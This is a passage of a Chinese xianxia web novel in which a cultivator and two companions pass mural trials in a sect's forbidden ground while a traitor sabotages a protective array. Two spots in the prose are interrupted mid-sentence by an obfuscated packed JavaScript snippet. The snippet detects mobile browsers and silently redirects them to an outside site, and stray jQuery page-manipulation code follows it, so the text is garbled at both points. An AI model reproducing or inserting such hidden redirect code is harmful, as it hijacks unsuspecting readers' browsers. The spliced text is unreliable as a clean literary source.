更可怕的是,这些虫子能吞噬灵力!水幕在迅速变薄。 “用火!”叶清风挥剑,剑光化作青色火焰,烧向虫群。 但噬魂虫根本不怕火焰,反而更兴奋了,冲得更猛。 眼看就要被虫群淹没—— 一道金光从林素衣怀中射出。 是那枚天机令! 金光化作一个光罩,将三人护住。噬魂虫撞在光罩上,发出“滋滋”的腐蚀声,却无法突破。 “天机令能克制邪祟。”林素衣松了口气,“但撑不了多久,我们必须尽快通过这里。” 三人顶着光罩,在虫群中艰难前行。 噬魂虫越来越多,层层叠叠,几乎将光罩完全覆盖。金光在迅速黯淡,随时可能破碎。 就在光罩即将崩溃时,前方终于出现亮光。 那是一道石门,门缝中透出柔和的白光。 “快!”三人冲刺。 就在他们冲进石门的瞬间,天机令的金光彻底消散,虫群涌来—— 石门轰然关闭,将虫群挡在外面。 三人瘫坐在地,大口喘气。 林素衣看向手中的天机令,已经化作一堆灰烬。司空玄给的保命之物,就这样用掉了。 “谢谢。”她轻声道。 休息片刻,三人打量起这个空间。 这里是一个巨大的石室,四壁刻满壁画。壁画内容,是青玄门开山祖师“青玄真人”的一生:出生、修炼、开宗立派、镇压魔物、飞升上界…… 而在石室中央,悬浮着一柄剑。 剑长三尺,通体青色,剑身刻着云纹,剑柄镶嵌着一颗蓝色宝石。剑身散发的气息,如高山般巍峨,如大海般浩瀚。 “这是……青玄剑?”玄诚子震惊,“开山祖师的本命法宝,传说已经随祖师飞升了,怎么会在这里?” 林素衣走近,仔细感应。 不对,这不是青玄剑。虽然气息很像,但缺少了某种“灵性”。这应该是一把仿制品,或者……是青玄剑的剑灵分身。 “不管是什么,先拿了再说。”叶清风道。 但就在林素衣伸手要取剑时,一个苍老的声音在石室中响起: “凡人,为何扰我清修?” 壁画上,青玄真人的画像突然活了!他从壁画中走出,化作一个穿着青色道袍的老者虚影。 “祖师……”玄诚子跪地叩拜。 青玄真人虚影看了他一眼:“你是青玄门弟子?为何带外人来此?” “回禀祖师,宗门遭魔劫,掌门重伤,弟子不得已来此求取祖师留下的底牌。”玄诚子恭敬道。 “魔劫?”青玄真人皱眉,“详细说来。” 林素衣将魔尊意识降临、魔物围攻、天玄真人重伤等事一一禀报。 听完,青玄真人沉默良久。 “冰火魔尊……那老魔头还没死透吗?”他叹息,“当年本座与三位道友联手,才勉强将他封印。如今三千年过去,封印果然松动了。” 他看向林素衣:“你是净尘宗的传人?清虚那老家伙的徒子徒孙?” “是。” “难怪。”青玄真人点头,“你体内有源海珠的气息。清虚当年就是用那珠子加固封印的。” 他顿了顿:“你们想要这柄‘青玄分光剑’,可以。但必须通过我的考验。” “什么考验?” 青玄真人抬手,石室四壁的壁画突然活了过来。 那些壁画中的场景——青玄真人降妖伏魔、开宗立派、飞升渡劫——化作一个个真实的世界,将三人卷入其中。 “这是本座一生的经历。”青玄真人的声音在虚空中回荡,“你们要做的,是在这些经历中活下来,并找到‘道’的真谛。” “记住,时间紧迫。外界三个月,这里只有三天。” “三天内,若无法通过所有考验,你们将永远困在这里。” 话音落下,三人眼前一花,发现自己站在一座荒山之巅。 山下,无数妖魔正在围攻一个青衣少年——那是年轻时的青玄真人! 而他们自己,也变成了少年身边的同伴。 考验,开始了。 林素衣握紧拳头,看向那些狰狞的妖魔。 她不知道前方还有什么危险,但她知道,自己必须通过考验,拿到青玄分光剑。 否则,三个月后,魔尊降临,一切都完了。 而就在三人开始考验时,外界,天池边,发生了一件意想不到的事。 留守的众人中,有一个人,悄悄捏碎了一枚传讯符。 符文化作黑烟,消散在空气中。 远在万里之外的万魔山深处,噬魂老祖睁开眼睛,露出诡异的笑容: “鱼儿……上钩了。” 34. 禁地试炼与暗流涌动 青玄禁地的石室中,壁画世界内。 林素衣、玄诚子、叶清风三人站在荒山之巅,狂风呼啸,吹得衣袍猎猎作响。山下,黑压压的妖魔如潮水般涌来,嘶吼声震天动地。而在他们身前,年轻的青玄真人——此时应该称他为“青玄子”,一身青衣已被鲜血浸透,却依旧持剑傲立。 “三位道友,可还撑得住?”青玄子头也不回地问道,声音中带着少年人特有的清亮与不屈。 林素衣低头看了看自己的手,那是一双布满老茧、伤痕累累的手,显然属于一个久经战阵的修士。她感觉到体内涌动着陌生的灵力——比她自己现在的修为高出许多,约莫在金丹后期。 “还能战。”她沉声道,声音自然而然地变成了一个成熟女修的口吻。 玄诚子和叶清风也迅速适应了角色。玄诚子化身成一个中年道士,手持拂尘;叶清风则变成了一个背负重剑的魁梧汉子。 “好!”青玄子大笑,“那便与这群魔崽子再战三百回合!” 他纵身跃起,剑光如虹,直斩而下。剑气所过之处,妖魔纷纷炸裂。 林素衣三人紧随其后,各自施展法术。林素衣发现自己这具身体擅长水系术法,抬手间便是万千水箭;玄诚子拂尘挥动,道道金光如锁链束缚妖魔;叶清风重剑大开大合,每一击都地动山摇。 但妖魔太多了,杀之不尽。更可怕的是,远处有三道强大的气息正在快速接近——那是三头元婴期的妖王! “青玄子,撤吧!”玄诚子急道,“妖王来了,我们不是对手!” “不能撤!”青玄子斩钉截铁,“山下就是罗家村,有三百无辜村民!我们若退了,他们必死无疑!” 林素衣心神一震。她明白了,这是青玄真人年轻时经历的真实事件——为了保护凡人村落,以金丹修为硬撼三位妖王。 历史上,青玄真人确实做到了。但代价是,与他并肩作战的四位道友,三人战死,一人重伤垂危。 “必须改变结局。”林素衣心念电转,“但不能违背青玄真人的‘道’。” 青玄真人的“道”是什么?是守护,是责任,是明知不可为而为之的担当。 “结四象阵!”林素衣忽然喝道,“玄诚道友守东方青龙位,叶道友守西方白虎位,青玄道友守南方朱雀位,我守北方玄武位!” 这是净尘宗的一种防御战阵,她从清虚真人传承中学到。此刻情急之下,脱口而出。 青玄子眼睛一亮:“好阵法!” 四人迅速站定方位,灵力贯通,形成一个四色光罩。光罩迅速扩大,将整座山头笼罩。 此时,三头妖王已至。 一头是身高十丈的赤目黑熊,一掌拍下,山石崩裂;一头是双头怪蟒,毒雾喷吐,草木枯萎;最后一头竟是人面蜘蛛,八条腿如钢矛,口中发出婴儿啼哭般的怪叫。 “蝼蚁,受死!”赤目黑熊口吐人言,熊掌带着万钧之力拍向光罩。 光罩剧烈震动,但撑住了。 “这阵法不俗。”人面蜘蛛眯起眼睛,“可惜,你们灵力有限,能撑多久?” 双头怪蟒两个头同时喷出毒雾,毒雾腐蚀光罩,发出“滋滋”声响。 林素衣感到体内灵力飞速消耗。这样下去,最多一炷香时间,阵法必破。 “青玄道友,”她忽然开口,“你可信我?” 青玄子一愣:“自然。” “那便听我指挥。”林素衣眼中闪过决断,“玄诚道友,三息后撤去青龙位灵力,全部注入南方朱雀位。叶道友,同时撤去白虎位灵力,注入北方玄武位。” “你疯了?”玄诚子惊道,“四象缺二,阵法立破!” “破而后立。”林素衣平静道,“青玄道友,准备施展你最強的一剑,目标——人面蜘蛛的腹部节眼。” 青玄子虽然不解,但还是点头:“好!” “三、二、一——撤!” 玄诚子和叶清风同时撤力。四象阵瞬间崩解,光罩破碎。 三头妖王大喜,齐齐扑来。 就在这电光石火间,林素衣动了。她将全部灵力注入脚下大地,施展了一个看似毫无攻击力的法术——“地涌灵泉”。 山石间,数十道泉水喷涌而出,泉水清澈,带着淡淡的净化之力。 这法术对妖王造不成伤害,却让它们动作微微一滞。 而就在这一滞的瞬间,青玄子的剑到了。 他的剑本来斩向赤目黑熊,但在林素衣泉水喷出的刹那,剑势诡异一转,如毒蛇般刺向人面蜘蛛的腹部——那里是它妖丹所在,也是它全身最脆弱的地方。 人面蜘蛛万万没想到,在阵法破碎、己方大优的情况下,对方还敢反击,而且如此精准狠辣。 “噗嗤!” 长剑贯体而入,正中节眼。 人面蜘蛛发出凄厉惨叫,八条腿疯狂舞动,但妖丹被毁,它已是强弩之末。 “怎么可能?!”赤目黑熊和双头怪蟒又惊又怒。 “就是现在!”林素衣喝道,“叶道友,重剑斩熊喉七寸!玄诚道友,金光锁链困双蟒七寸!” 叶清风和玄诚子虽不明白为何林素衣知道妖王弱点,但此刻不容多想,依言出手。 叶清风重剑带着开山之势,直劈黑熊咽喉;玄诚子拂尘化出数十道金光锁链,缠向怪蟒颈部。 而林素衣自己,则咬破舌尖,喷出一口精血,在空中画出一个复杂符文。 “净魔血符,镇!” 符文飞向两妖王,虽不能镇杀,却让它们动作再缓一瞬。 就是这一瞬,决定了胜负。 叶清风的重剑斩入黑熊咽喉三寸,虽未致命,但重伤了它;玄诚子的锁链困住怪蟒,虽被挣断大半,但也成功拖延了时间。 青玄子趁机抽剑回身,剑光分化数百,如暴雨般刺向两妖王。 “撤!”赤目黑熊当机立断,扭头就跑。双头怪蟒紧随其后。 三妖王,一死两逃。 荒山之上,一片死寂。只有风声和四人粗重的喘息。 良久,青玄子收剑归鞘,转身看向林素衣,深深一揖:“多谢道友指点。若非道友,今日我等凶多吉少。” 林素衣还礼:“是道友剑法通神。” “不,”青玄子摇头,“我那一剑本是求死之剑,打算与妖王同归于尽,护你们撤离。是道友的战术,让死局变活局。” 他眼中闪过明悟之色:“我明白了……守护之道,不是一味牺牲,而是要用智慧找到最优解。以最小的代价,护最多的人。” 话音落下,周围景象开始模糊。 青玄子的身影逐渐淡去,但他最后的话语在虚空中回荡:“第一关,过。你们让我看到了‘守护’的真谛——非莽勇,乃智勇。” 光影流转。 三人再睁眼时,已回到石室。壁画上,青玄真人年轻时的画面微微发光,随后黯淡下去。 而在他们面前,那柄悬浮的青玄分光剑旁,多了三样东西:一枚青色玉佩、一瓶丹药、一卷竹简。 玄诚子上前查看,倒吸一口凉气:“这玉佩……是青玄门历代掌门的信物‘青玄佩’!这丹药是‘九转还魂丹’,能肉白骨活死人!这竹简……《青玄剑诀》全本!” 叶清风也震惊了:“这些宝物,随便一件放在外界都会引起腥风血雨。” 林素衣却皱眉:“考验还未结束。” 果然,青玄真人的声音再次响起:“第一关,你们表现尚可。但真正的考验,现在才开始。” 石室另一侧的壁画亮起——那是青玄真人开宗立派的场景。 “第二关,你们需助‘我’建立青玄门,应对开宗立派时的三大劫难:地脉不稳、外敌环伺、人心离散。” “时间,外界一个月,这里一天。” “通过,可得青玄分光剑及我毕生修炼心得。失败,永困画中。” 话音落下,三人再次被卷入壁画世界。 这一次,他们出现在一片灵山福地中。年轻的青玄真人已是元婴修为,正与几位道友商议开宗之事。而林素衣三人,则化身最早投靠青玄门的客卿长老。 真正的考验,刚刚开始。 --- 与此同时,外界,天池边。 距离林素衣三人进入禁地已过去三日。 天池的阵法在净世莲心的加持下运转良好,光罩坚固,魔气难侵。但留守的众人,气氛却日渐微妙。 魔尊那句“盟友中有内奸”的话,像一根刺,扎在每个人心里。 炎阳真人脾气最暴,这几日已暗中试探过所有人,却一无所获。花无暇依旧清冷寡言,大部分时间都在打坐修炼。萧长风则带着几个弟子日夜巡视,警惕异常。素青照顾着重伤的天玄真人,偶尔与云华交流阵法心得。 表面平静,暗流涌动。 这日傍晚,夕阳西下,天边泛起血一般的红霞。 花无暇忽然睁开眼,起身走向天池边缘。她的动作很自然,像是要查看阵法节点。 但一直暗中关注她的萧长风注意到,花无暇在第三个阵法节点处停留的时间稍长了些,手指似乎不经意地拂过节点上的符文。 “花谷主,”萧长风的声音突然响起,“那个节点有问题吗?” 花无暇转身,面色平静:“没有,只是检查一下。萧道友似乎很关注我?” 萧长风走近,目光锐利:“非常时期,不得不谨慎。花谷主勿怪。” “理解。”花无暇淡淡道,“我也怀疑所有人,包括萧道友你。” 两人对视,空气中似有火花迸溅。 这时,素青从临时搭建的草庐中走出,面色凝重:“掌门师兄的状况恶化了。魔气侵入心脉,净世莲心的力量只能延缓,无法根除。” 众人围拢过来。 炎阳真人皱眉:“天玄道友是元婴后期,又有护身法宝,怎会被魔气伤得如此之重?” “伤掌门师兄的,不是普通魔气。”素青沉声道,“而是‘噬心魔种’。这是魔道一种极为阴毒的手段,种入修士体内后,会不断吞噬生机壮大,最终将宿主转化为魔傀。” “魔种?”花无暇眼神微变,“传闻只有化神期以上的魔修才能施展。难道那日除了魔尊意识,还有化神魔修潜伏?” “有可能。”云华忧心忡忡,“若真如此,那内奸的身份就更加可怕了。” 萧长风忽然道:“我记得,掌门真人是被一道黑影偷袭所伤。当时战况混乱,谁看清那黑影的样子了?” 众人面面相觑,都摇头。 当时魔物围攻,黑云蔽日,那黑影快如鬼魅,一击即退,根本看不清。 “但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980544|193562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一点很奇怪,”素青缓缓道,“掌门师兄受伤前,正与花谷主并肩作战。花谷主,你当时离掌门最近,可曾看到什么?” 所有目光投向花无暇。 花无暇面色不变:“黑影从侧面袭来,我反应不及。待我回身时,掌门已中招。此事我难辞其咎,若诸位怀疑,我可立心魔大誓。” 心魔大誓对修士约束极强,一旦违背,修为终生难进,且心魔缠身。花无暇敢这么说,至少表面看是清白的。 炎阳真人摆摆手:“罢了,现在不是内讧的时候。当务之急是救治天玄道友,以及防备魔物再次来袭。” 他看向素青:“素青道友,净世莲心还能撑多久?” “最多半月。”素青苦笑,“莲心的力量在不断消耗。半月后,若掌门师兄还未好转,恐怕……” 后面的话没说,但大家都明白。 “半个月……”萧长风喃喃,“那时林师叔他们应该从禁地出来了。希望他们能带回转机。” 夜幕降临。 众人各自回到岗位。花无暇主动要求守夜,萧长风本要陪同,却被她婉拒:“萧道友连日劳累,今夜我来吧。若有情况,我会立刻示警。” 萧长风深深看了她一眼,点头离开。 子夜时分,万籁俱寂。 花无暇盘坐在天池边的一块青石上,闭目调息。月光洒在她身上,衬得她如月中仙子。 忽然,她睁开眼,手中多了一枚黑色玉简。 玉简上,一个血色符文缓缓浮现。 花无暇盯着符文,眼神复杂。良久,她叹了口气,指尖灵力涌动,在玉简上轻轻一点。 符文碎裂,化作一缕黑烟,消散在夜风中。 而与此同时,天池阵法最外围的一个节点,微不可察地黯淡了一瞬。 花无暇收起玉简,重新闭目,仿佛什么都没发生。 但她没注意到,远处的阴影中,一双眼睛正静静看着她。 那是萧长风。 他没有离开,而是用了隐匿符藏身暗处。 看到花无暇的举动,萧长风的手按在了剑柄上,眼中寒光闪烁。 但他最终没有现身,只是悄然后退,消失在黑暗中。 这一夜,看似平静。 但所有人都不知道,天池阵法的某个薄弱处,已被悄然标记。 千里之外,万魔山深处。 噬魂老祖睁开眼,面前的水镜中,显现出天池阵法的全貌。其中一个节点,正闪烁着微弱的红光。 “标记已下,”他嘶哑笑道,“三日之后,月圆之夜,魔气最盛时,此地阵法将出现一隙漏洞。虽然只能维持十息,但足够‘那位大人’投送一件东西进去了。” 他身后,一个笼罩在黑袍中的身影躬身:“老祖英明。只是……花无暇可信吗?她毕竟是百花谷主,正道翘楚。” 噬魂老祖冷笑:“她当然不可信。但她有求于我——百花谷地下镇压的那东西,只有我能帮她取出。为了那个,她什么都会做。” “况且,”他顿了顿,“她也不知道标记节点的真正用途。只以为是方便我们潜入……呵,天真。” 黑袍人迟疑:“那林素衣三人进入青玄禁地,会不会真让他们找到对付魔尊的方法?” “青玄禁地?”噬魂老祖眼中闪过忌惮,“那地方确实麻烦。但没关系,禁地考验凶险万分,他们能不能活着出来都未可知。即便出来了,拿到青玄分光剑又如何?那只是仿制品,威力不足真剑百分之一。” “真正的杀招,在天池。” 他看向水镜中天池的景象,笑容诡异:“等‘那东西’送进去,什么阵法、什么净世莲心,都是笑话。届时,源海珠唾手可得,魔尊大人破封之日,指日可待。” 黑袍人兴奋颤抖:“恭贺老祖!” 噬魂老祖却忽然皱眉:“不过,萧长风那小子似乎察觉了什么。他修为虽只是金丹,但剑心通明,感应敏锐。得想办法除掉他,或者……引开他。” 他思索片刻,对黑袍人道:“传令给‘暗子’,让他找机会在叶家那小子身上做文章。萧长风与叶清风情同手足,若叶清风遇险,他必去救。届时天池空虚,正是良机。” “是!” 黑袍人退下。 噬魂老祖独自坐在黑暗中,手指轻敲座椅扶手。 “林素衣……清虚的传人。呵呵,当年清虚老儿封印魔尊,坏我大事。如今他的徒孙,终究要栽在我手里。” “这便是因果循环,报应不爽。” 他闭上眼,大殿陷入死寂。 只有水镜中,天池的影像幽幽闪烁。 而禁地石室内,林素衣三人正在第二关的考验中艰难前行。 他们不知道,外界的时间如此紧迫,阴谋的网已悄然收紧。 三天后月圆之夜,将是决定一切的关键时刻。 能否赶在那之前拿到青玄分光剑,赶回天池? 考验中的林素衣,忽然心有所感,抬头望向虚无的天空。 她感到一阵莫名的心悸,仿佛有什么不好的事情正在发生。 “必须加快速度了。”她喃喃道,握紧了手中的剑。 壁画世界中,青玄门开宗立派的第一场危机——地脉暴动,即将来临。 而她不知道,真正的危机,远不止此。 35. 地脉暴动与人心离散 青玄禁地,壁画世界。 林素衣三人站在一座刚刚奠基的宗门广场上,四周是忙碌的工匠和修士。年轻的青玄真人——此刻已是“青玄祖师”,正与几位长老商议宗门大殿的修建事宜。 这是青玄门开宗立派的第三个月。 林素衣化身的客卿长老“水月仙子”,玄诚子化身的“金光道人”,叶清风化身的“重剑客”,此刻都面色凝重。 因为他们知道,按照历史记载,今日午时三刻,青玄山脉的地脉将发生第一次暴动。 “水月道友,你确定地脉会在今日暴动?”玄诚子传音问道,语气中带着焦虑。 林素衣点头:“清虚祖师的传承中,记载了青玄门开宗时的三大劫难。地脉暴动是第一劫,也是死伤最惨重的一劫。历史上,那次暴动导致三百弟子丧生,宗门建筑损毁过半。” 叶清风握紧重剑:“我们能阻止吗?” “不能完全阻止,但可以减轻伤亡。”林素衣眼神坚定,“关键是提前疏散弟子,并在关键节点布置疏导阵法。” 她抬头看向广场中央的青玄祖师。这位未来的开山祖师此刻正意气风发,指着图纸讲解宗门规划。 “我们必须说服他。”林素衣道,“但直接说地脉会暴动,他未必信。得找个合适的理由。” 正说着,青玄祖师忽然招手:“水月长老,你精通水系术法,来看看这‘引灵泉’的设计是否合理?” 林素衣上前,接过图纸。图纸上标注着从山腰灵泉引水至宗门的路线,设计精妙,但有一个致命问题——那条引水渠恰好经过地脉最不稳定的区域。 历史上,正是这条水渠在地脉暴动时被撕裂,引发山洪,冲毁了半个宗门。 “祖师,”林素衣斟酌措辞,“这水渠路线……是否可以考虑绕行东侧?东侧虽然多花三百灵石,但地势更稳。” 青玄祖师皱眉:“东侧有‘断龙石’,开凿难度极大。况且灵泉之水贵在灵气,绕行过远,灵气会散失三成。” “但西侧路线……”林素衣指着图纸上的一处标记,“此处地气不稳,我昨日观地脉,发现有轻微震荡。” “哦?”青玄祖师眼神一凝,“水月长老还懂地脉之术?” “略知一二。”林素衣谦逊道,实则调动了源海珠对天地灵气的感应能力,“若祖师不信,可派人去‘鹰嘴崖’下方三十丈处挖掘,当见赤色岩石,触之炙热——那是地火外泄之兆。” 青玄祖师将信将疑,但还是派了两名弟子前往。 一个时辰后,弟子带回一块赤红如火的岩石,岩石表面还冒着热气。 “真是地火岩!”一位白须长老惊呼,“地火外泄,说明地脉确有异动!” 青玄祖师面色严肃起来:“水月长老,依你之见,该如何应对?” “即刻疏散西侧所有弟子,暂停西侧建筑修建。”林素衣快速道,“同时,在鹰嘴崖、虎啸涧、龙吟谷三处布置疏导阵法,将地火之力引入地下深层。” “地脉暴动何时发生?” “午时三刻。” 青玄祖师抬头看天——此刻已是巳时,距离午时三刻只剩一个半时辰。 “时间紧迫。”他当机立断,“传令,西侧所有人员即刻撤离!金光长老,你带阵法师去布置疏导阵法。重剑长老,你负责疏散监督。” “是!”玄诚子和叶清风领命而去。 青玄祖师看向林素衣:“水月长老,你随我去地脉核心处。若真有大变,需有人镇守阵眼。” 两人御剑而起,飞向山脉深处。 路上,青玄祖师忽然道:“水月长老似乎对此次地脉暴动早有预料?” 林素衣心头一紧,面色不变:“只是昨日观地气有感。” “是吗?”青玄祖师深深看了她一眼,“我修有‘天心感应’之术,能模糊感知未来吉凶。三日前,我便心悸不止,似有大灾将至。而水月长老你……身上有时间长河的涟漪。” 林素衣呼吸一滞。 “你不必紧张。”青玄祖师笑了笑,“我看得出,你是友非敌。或许,你是上天派来助我渡劫之人。” 他顿了顿:“开宗立派,看似风光,实则步步杀机。地脉不稳只是第一关,之后还有外敌环伺、人心离散。水月长老,若你真有预知之能,可否告知——我青玄门,最终能否立住?” 林素衣沉默片刻,缓缓道:“能。不仅立住,还会成为修仙界第一宗门,传承万年。” 青玄祖师眼中闪过精光:“好!有你这句,我便有底气了!” 说话间,二人已至山脉深处的一处山谷。谷中热气蒸腾,地面裂开数道缝隙,赤红岩浆在缝隙中缓缓流动。 这便是地脉核心所在。 “好强的地火之力!”青玄祖师面色凝重,“若在此处暴动,整条山脉都将化作火海。” 林素衣感应着源海珠传来的信息,忽然道:“祖师,这不是自然的地脉暴动。” “什么?” “地火之中,混有魔气。”林素衣指向一道最大的裂缝,“你看那岩浆颜色,赤中带黑——这是地火被魔气污染之兆。” 青玄祖师凝神细看,果然发现端倪,顿时大怒:“好胆!竟敢在我青玄山脉做手脚!” 他掐指推算,片刻后冷笑:“是‘地魔宗’那些见不得光的东西。想趁我开宗之时,毁我地脉,断我根基。” “地魔宗……”林素衣想起历史记载。这个魔道宗门确实在青玄门开宗时暗中作祟,但史书只说他们“勾结外敌”,未提及污染地脉之事。 看来,历史记载并不完整。 “既知是魔道作祟,便好办了。”青玄祖师从怀中取出一枚玉印,“此乃‘镇山印’,是师尊传我的法宝,专克地脉魔气。” 他将玉印抛向空中,玉印迎风而涨,化作三丈大小,散发出土黄色光芒。光芒照在岩浆上,黑色魔气如雪遇阳,迅速消融。 但魔气顽固,不断从地底深处涌出。 “这样不行。”林素衣摇头,“治标不治本。必须深入地下,净化魔源。” “我去。”青玄祖师道。 “不可!”林素衣急道,“祖师乃一宗之主,岂能轻易涉险?我去。” “你修为尚浅,入地脉核心必死无疑。” “我有办法。”林素衣说着,取出三滴精血,在空中画出一个复杂符文——正是净尘宗的“净魔血符”。 符文成型刹那,一股纯净的净化之力弥漫开来,连周围的地火都温和了几分。 青玄祖师眼睛一亮:“净尘一脉的净化之力!你是清虚那老家伙的传人?” 林素衣这才想起,青玄真人与清虚真人是同时代的人物,二人是至交好友。 “算是。”她含糊道。 “好!有净尘之力,当可净化魔源。”青玄祖师不再阻拦,“但地脉核心温度极高,你需以此物护身。” 他取出一件冰蓝色纱衣:“‘寒月纱衣’,能抗地火三个时辰。记住,若三个时辰内无法净化魔源,立即撤离,不可逞强。” 林素衣接过纱衣披上,顿时感到清凉之意笼罩全身。 “祖师,外面就交给你了。” “放心。” 林素衣纵身一跃,跳入最大的那道裂缝。 眼前一黑,随即是无尽赤红。她沿着岩浆通道急速下坠,寒月纱衣发出淡蓝光罩,将高温隔绝在外。 也不知下坠了多久,前方豁然开朗。 这是一个巨大的地下空间,中央是一池沸腾的岩浆。而在岩浆池中央,悬浮着一颗漆黑的晶石——正是魔源! 晶石不断释放魔气,污染着地火。更可怕的是,晶石旁盘坐着一个人。 一个浑身笼罩在黑雾中的魔修。 “终于来了。”魔修睁开眼,眼中闪烁着邪异红光,“青玄老儿自己不敢下来,派个小丫头送死?” 林素衣不答话,直接出手。 “净魔血符,镇!” 血符化作金光,射向魔源晶石。 魔修冷笑,抬手一挥,一道黑气将血符击散:“区区金丹,也敢在我面前放肆?” 他气息爆发,竟是元婴中期! 林素衣心头一沉。以她现在的修为,对抗元婴中期几乎没有胜算。 但就在这时,源海珠忽然微微震动,传递出一道信息。 地脉……可以借力。 她瞬间明悟,双手结印,调动源海珠之力,与周围的地火产生共鸣。 “地火为引,净化为本——地火净魔阵,起!” 整个地下空间的岩浆沸腾起来,化作九条火龙,环绕魔源晶石。火龙身上,附着淡淡的净尘之光。 这是林素衣临场创出的阵法,以地火为能源,以净尘之力为核心,专克魔气。 “什么?!”魔修脸色大变,“你竟能调动地火?!” 九条火龙扑向魔源晶石和魔修。魔修怒吼,祭出一面黑色盾牌抵挡,但盾牌在净尘之火面前迅速消融。 “不——!”魔修惨叫,被火龙吞没。 魔源晶石也在火龙的冲击下,表面出现裂痕。 但就在即将破碎的刹那,晶石中突然传出一个沙哑的声音: “净尘传人……我们还会再见的。” 声音消散,晶石炸裂。 无穷魔气爆发,但随即被地火净魔阵炼化。 地下空间恢复平静,地火重新变得纯净赤红。 林素衣喘着粗气,脸色苍白。刚才那一击耗尽了她的灵力和精血,若非源海珠支撑,早已油尽灯枯。 她转身准备离开,却忽然注意到,炸裂的晶石碎片中,有一块闪着异样光芒。 捡起一看,是一枚黑色令牌,令牌正面刻着一个“影”字。 “影……”林素衣皱眉,将这个线索记在心中。 回到地面时,已是黄昏。 地脉暴动已经平息。由于疏散及时、疏导阵法生效,此次劫难只造成十余名弟子轻伤,建筑损失也微乎其微。 青玄祖师看着平安无事的宗门,长舒一口气,对林素衣郑重一礼:“水月长老,此恩青玄铭记。” “祖师言重了。” “不。”青玄祖师摇头,“你不仅救了三百弟子的性命,更保住了我青玄门的根基。此等大恩,当以重报。” 他取出三枚玉简:“此乃我毕生所学——《青玄道经》《天心感应术》《镇山印诀》。你虽非我门人,但可参悟借鉴。” 林素衣恭敬接过。她知道,这是第二关的奖励。 果然,周围景象开始模糊。 青玄祖师的身影逐渐淡去,他的声音在虚空中回荡: “第二关,过。你们证明了智慧和勇气。” “但第三关,才是最难的——人心离散。” “历史上,我青玄门开宗之初,曾有三位长老叛离,带走了三成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980545|193562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟子和大量资源。那是我最痛心之事。” “这一关,你们要做的不是阻止叛离,而是……理解人心。” “找到他们叛离的真正原因,化解那份怨恨。” “记住,强留的人留不住,强压的怨压不下。” “唯有真心,可换真心。” 话音落下,三人回到石室。 第二幅壁画黯淡下去。 而在青玄分光剑旁,又多了一卷古朴的兽皮地图。 玄诚子上前查看,惊呼:“这是……青玄山脉的完整地脉图!标注了所有灵穴、矿脉、秘境!此图在手,等于掌握了青玄门的命脉!” 叶清风也激动:“有此图,我们对抗魔物时,就能借助地利了!” 但林素衣却盯着第三幅壁画——那上面描绘的,正是三位长老带弟子叛离的场景。 画面中,青玄祖师站在山门前,目送叛离者远去,背影萧索。 而叛离的三位长老中,有一人回头看了一眼,眼中不是决绝,而是……深深的悲伤和无奈。 “事情没那么简单。”林素衣轻声道,“第三关,我们要挖掘的是被历史掩盖的真相。” 她看向地图,忽然注意到地图边缘有一行小字: “地脉有异,魔影潜伏。开宗三劫,皆为考验。通过者,可得我真传,承我遗志——守护此界,镇魔卫道。” 林素衣心头一震。 原来,这一切不仅仅是考验。 青玄真人早就知道,后世会有魔劫,他在挑选传人,挑选能继承他遗志、守护这方世界的人。 “时间不多了。”她握紧拳头,“我们必须尽快通过第三关。” 而就在三人准备进入第三幅壁画时,石室突然震动起来。 不是壁画世界的震动,而是来自外界的震动! “怎么回事?”叶清风稳住身形。 玄诚子面色大变:“不好!外界有人在强行攻击禁地入口!按照时间换算,外界应该刚过去三天……是魔道打来了?!” 林素衣感应着源海珠,脸色越来越白。 她不仅感应到了外界的攻击,还感应到了……天池阵法的异常波动。 以及,一股熟悉的、冰冷邪恶的气息,正在天池方向迅速增强。 那是……魔尊的气息! “来不及了。”她咬牙,“魔尊提前行动了!” “那怎么办?”叶清风急道,“我们还没拿到青玄分光剑!” 林素衣看向悬浮的剑,又看向第三幅壁画。 一个疯狂的念头在她心中升起。 “我们……分头行动。” “什么意思?” “玄诚师伯,叶师兄,你们留在这里,继续第三关考验,务必拿到青玄分光剑和真传。”林素衣快速道,“我……先回天池。” “你疯了?!”两人同时惊呼,“没有青玄分光剑,你回去送死吗?” “我不是去硬拼。”林素衣眼神决绝,“我是去拖延时间。魔尊的目标是我体内的源海珠,只要我不死,他就不会全力进攻天池。” 她从怀中取出那枚青色玉佩——第一关得到的青玄佩。 “清虚祖师说过,青玄佩有传送之能,可瞬间返回青玄门任何一处标记点。天池……应该也算。” “可这只能用一次!”玄诚子急道,“你回去后,就再也回不来了!” “那就回不来。”林素衣笑了,“总得有人去争取时间。你们拿到剑后,立刻回援。记住,最多……等我三天。” 她不等二人反对,直接捏碎青玄佩。 青光笼罩全身。 最后一刻,她看向第三幅壁画,忽然发现了一个之前忽略的细节—— 叛离的三位长老中,有一人腰间佩着一枚令牌。 令牌的样式,与她在地下得到的“影”字令牌,一模一样。 “影……”她喃喃道。 青光消散,林素衣从石室中消失。 玄诚子和叶清风面面相觑,都看到了对方眼中的决绝。 “加快速度!”叶清风冲向第三幅壁画,“必须尽快通过考验!” 二人身影没入壁画。 而石室中,青玄分光剑微微颤动,剑身上的云纹依次亮起,仿佛在回应着什么。 与此同时,外界。 天池边,月圆之夜。 阵法光罩外,黑云压顶,魔气滔天。 